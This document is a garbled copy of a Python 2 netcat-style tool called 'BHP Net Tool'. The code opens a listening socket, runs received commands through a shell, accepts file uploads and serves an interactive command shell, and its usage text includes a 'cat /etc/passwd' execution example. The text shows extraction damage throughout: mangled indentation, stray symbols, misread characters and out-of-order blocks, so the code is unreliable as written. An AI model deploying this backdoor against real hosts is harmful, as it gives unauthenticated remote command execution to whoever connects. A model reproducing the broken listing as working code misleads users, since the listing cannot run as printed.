```
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
 command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
                print "BHP Net Tool"
                print
                print "Usage: bhpnet.py -t target_host
-p port"
                print "-l --listen - listen on
[host]:[port] for ¬ incoming connections"
                print "-e --execute=file to run -
execute the given file upon - receiving a connection"
                print "-c --command - initialize a
command shell"
                print "-u --upload=destination - upon
receiving connection upload a - file and write to
[destination]"
                print
                print
                print "Examples: "
```

```
print "bhpnet.py -t 192.168.0.1 -p 5555
-1 -c"
                print "bhpnet.py -t 192.168.0.1 -p 5555
-1 -u=c:\\target.exe"
                print "bhpnet.py -t 192.168.0.1 -p 5555
-1 -e=\"cat /etc/passwd\""
                print "echo 'ABCDEFGHI' | ./bhpnet.py -t
192.168.11.12 -p 135"
                sys.exit(0)
        def main():
                global listen
                global port
                global execute
                global command
                global upload_destination
                global target
                if not len(sys.argv[1:]):
                usage()
                # read the commandline options
                try:
                                 opts, args =
getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬
["help", "listen", "execute", "target", "port", "command", "up
load"])
                except getopt.GetoptError as err:
                         print str(err)
                        usage()
```

for o,a in opts:

```
if o in ("-h","--help"):
                                                   usage()
                                  elif o in
("-1","--listen"):
                                                   listen =
True
                                  elif o in ("-e",
"--execute"):
                                                   execute
= a
                                  elif o in ("-c",
"--commandshell"):
                                                   command
= True
                                  elif o in ("-u",
"--upload"):
upload destination = a
                                  elif o in ("-t",
"--target"):
                                                   target =
а
                                  elif o in ("-p",
"--port"):
                                                   port =
int(a)
                                  else:
                                                   assert
False, "Unhandled Option"
                 # are we going to listen or just send
data from stdin?
                 if not listen and len(target) and port >
```

```
# read in the buffer
from the commandline
                                 # this will block, so
send CTRL-D if not sending input
                                 # to stdin
                                 buffer =
sys.stdin.read()
                                 # send data off
                                 client_sender(buffer)
                # we are going to listen and potentially
                # upload things, execute commands, and
drop a shell back
                # depending on our command line options
above
                if listen:
                                 server loop()
main()
def client_sender(buffer):
                client = socket.socket(socket.AF INET,
socket.SOCK_STREAM)
                try:
                                 # connect to our target
```

```
host
client.connect((target,port))
                                  if len(buffer):
client.send(buffer)
                                  while True:
                                                   # now
wait for data back
                                                    recv_len
= 1
                                                    response
= ""
                                                   while
recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:</pre>
                 break
                                                   print
response,
```

```
# wait
for more input
                                                  buffer =
raw_input("")
                                                  buffer
+= "\n"
                                                  # send
it off
client.send(buffer)
        except:
                                 print "[*] Exception!
Exiting."
                                 # tear down the
connection
                                 client.close()
def server loop():
                global target
                # if no target is defined, we listen on
all interfaces
                if not len(target):
                                 target = "0.0.0.0"
                server = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
                server.bind((target,port))
```

```
server.listen(5)
                while True:
                client socket, addr = server.accept()
                                 # spin off a thread to
handle our new client
                                 client thread =
threading. Thread (target=client handler, ¬
args=(client socket,))
                                 client thread.start()
        def run command(command):
                        # trim the newline
                        command = command.rstrip()
                        # run the command and get the
output back try:
                                         output =
subprocess.check output(command,stderr=subprocess. ¬
STDOUT, shell=True)
                        except:
                                         output = "Failed
to execute command.\r\n"
                        # send the output back to the
client
                         return output
 def client handler(client socket):
                 global upload
                 global execute
                 global command
```

```
# read in all of the
bytes and write to our destination file_buffer = ""
                                 # keep reading data
until none is available
                                 while True:
                                                  data =
client socket.recv(1024)
                                                  if not
data:
break
                                                  else:
file buffer += data
                                 # now we take these
bytes and try to write them out
                                 try:
file descriptor = open(upload destination, "wb")
file descriptor.write(file buffer)
file descriptor.close()
                                                  #
acknowledge that we wrote the file out
```

check for uploadu

if len(upload destination):

```
client socket.send("Successfully saved file to ¬
%s\r\n" % upload_destination)
                                         except:
client socket.send("Failed to save file to %s\r\n" % ¬
upload_destination)
                # check for command execution
                if len(execute):
                                 # run the command
                                 output =
run command(execute)
client socket.send(output)
                # now we go into another loop if a
command shell was requested
                if command:
                                 while True:
                                         # show a simple
prompt
client_socket.send("<BHP:#> ")
                                                 # now we
receive until we see a linefeed ¬ (enter key)
                                         cmd buffer = ""
                                         while "\n" not
in cmd buffer:
```

```
cmd_buffer += client_socket.recv(1024)

# send back the
command output

response =

run_command(cmd_buffer)

# send back the
response
```

client_socket.send(response)